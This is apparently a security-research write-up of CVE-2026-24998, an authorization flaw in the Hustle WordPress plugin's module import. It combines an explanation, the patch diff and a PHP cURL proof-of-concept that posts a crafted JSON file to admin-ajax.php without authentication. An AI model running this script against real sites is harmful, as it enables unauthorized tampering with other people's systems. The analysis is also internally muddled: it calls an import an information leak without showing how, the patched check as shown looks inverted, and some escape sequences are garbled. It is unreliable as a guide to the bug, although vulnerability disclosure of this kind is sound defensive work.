Atomic Edge analysis of CVE-2026-24998:
The vulnerability is an unauthenticated information exposure in the Hustle WordPress plugin. It allows attackers to import module configuration files without proper authorization, potentially exposing sensitive user and configuration data. The CVSS score of 5.3 indicates a medium severity issue.
The root cause is an improper authorization check in the module import functionality. The vulnerable code resides in the file `wordpress-popup/inc/hustle-modules-common-admin-ajax.php`. At line 373, the original condition `if ( ! $is_new_module && ! current_user_can( ‘hustle_create’ ) )` incorrectly validates permissions only when a module is not new. This logic flaw allows unauthenticated users to proceed with an import if the `$is_new_module` variable is true, bypassing the `current_user_can` check entirely.
Exploitation targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. An attacker sends a POST request with the `action` parameter set to `hustle_import_module`. The request must include a file upload via the `import_file` parameter. The payload is a crafted JSON configuration file exported from a Hustle module. The attack succeeds because the authorization check fails, allowing the unauthenticated upload and processing of the file.
The patch corrects the flawed logic in the authorization check. The condition on line 373 is changed to `if ( $is_new_module && ! Opt_In_Utils::is_user_allowed( ‘hustle_create’ ) )`. This now correctly checks permissions when a module *is* new. The patch also replaces `current_user_can` with `Opt_In_Utils::is_user_allowed` for a more robust capability check. Additional changes strengthen file upload security by enabling MIME type testing (`’test_type’ => true`) and temporarily allowing JSON uploads via a filter, which is removed after validation.
Successful exploitation leads to sensitive information exposure. An attacker can import a module configuration file containing embedded data. This data could include personally identifiable information (PII) from collected leads, internal form configuration details, or integration secrets stored within the module’s settings. The exposed data could facilitate further attacks or compromise user privacy.
--- a/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
+++ b/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
@@ -371,7 +371,7 @@
$is_new_module = is_wp_error( $module );
- if ( ! $is_new_module && ! current_user_can( 'hustle_create' ) ) {
+ if ( $is_new_module && ! Opt_In_Utils::is_user_allowed( 'hustle_create' ) ) {
throw new Exception( 'invalid_permissions' );
}
@@ -407,13 +407,24 @@
throw new Exception( sprintf( __( 'Error: %s', 'hustle' ), esc_html( $file['error'] ) ) );
}
+ // Temporarily allow JSON file uploads.
+ $json_mime_filter = function ( $mimes ) {
+ $mimes['json'] = 'application/json';
+ return $mimes;
+ };
+
+ add_filter( 'upload_mimes', $json_mime_filter );
// Get the file's content.
$overrides = array(
'test_form' => false,
- 'test_type' => false,
+ 'test_type' => true,
);
$wp_file = wp_handle_upload( $file, $overrides );
+
+ // Remove the filter after validation.
+ remove_filter( 'upload_mimes', $json_mime_filter );
+
if ( isset( $wp_file['error'] ) ) {
throw new Exception( __( 'The file could not be uploaded.check your upload folder permissions.', 'hustle' ) );
}
--- a/wordpress-popup/popover.php
+++ b/wordpress-popup/popover.php
@@ -10,7 +10,7 @@
* Plugin Name: Hustle
* Plugin URI: https://wordpress.org/plugins/wordpress-popup/
* Description: Start collecting email addresses and quickly grow your mailing list with big bold pop-ups, slide-ins, widgets, or in post opt-in forms.
- * Version: 7.8.9.2
+ * Version: 7.8.9.3
* Author: WPMU DEV
* Author URI: https://wpmudev.com
* Tested up to: 6.8
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24998 - Hustle <= 7.8.9.2 - Unauthenticated Information Exposure
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// The exploit requires a valid Hustle module export JSON file.
// This script demonstrates the unauthorized upload request.
// Create a sample malicious JSON payload.
$malicious_json = json_encode([
'module' => [
'module_name' => 'Atomic Edge Test',
'metadata' => [
'source' => 'malicious_import'
]
// In a real attack, this would contain sensitive data exfiltrated from another site.
]
]);
// Write the payload to a temporary file.
$tmp_file = tempnam(sys_get_temp_dir(), 'hustle_');
file_put_contents($tmp_file, $malicious_json);
// Prepare the multipart form data for the file upload.
$post_fields = [
'action' => 'hustle_import_module',
// The nonce parameter is not required due to the missing auth check.
'import_file' => new CURLFile($tmp_file, 'application/json', 'module_export.json')
];
// Initialize cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up the temporary file.
unlink($tmp_file);
// Output the result.
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful exploitation attempt may return a JSON response containing imported module data.
?>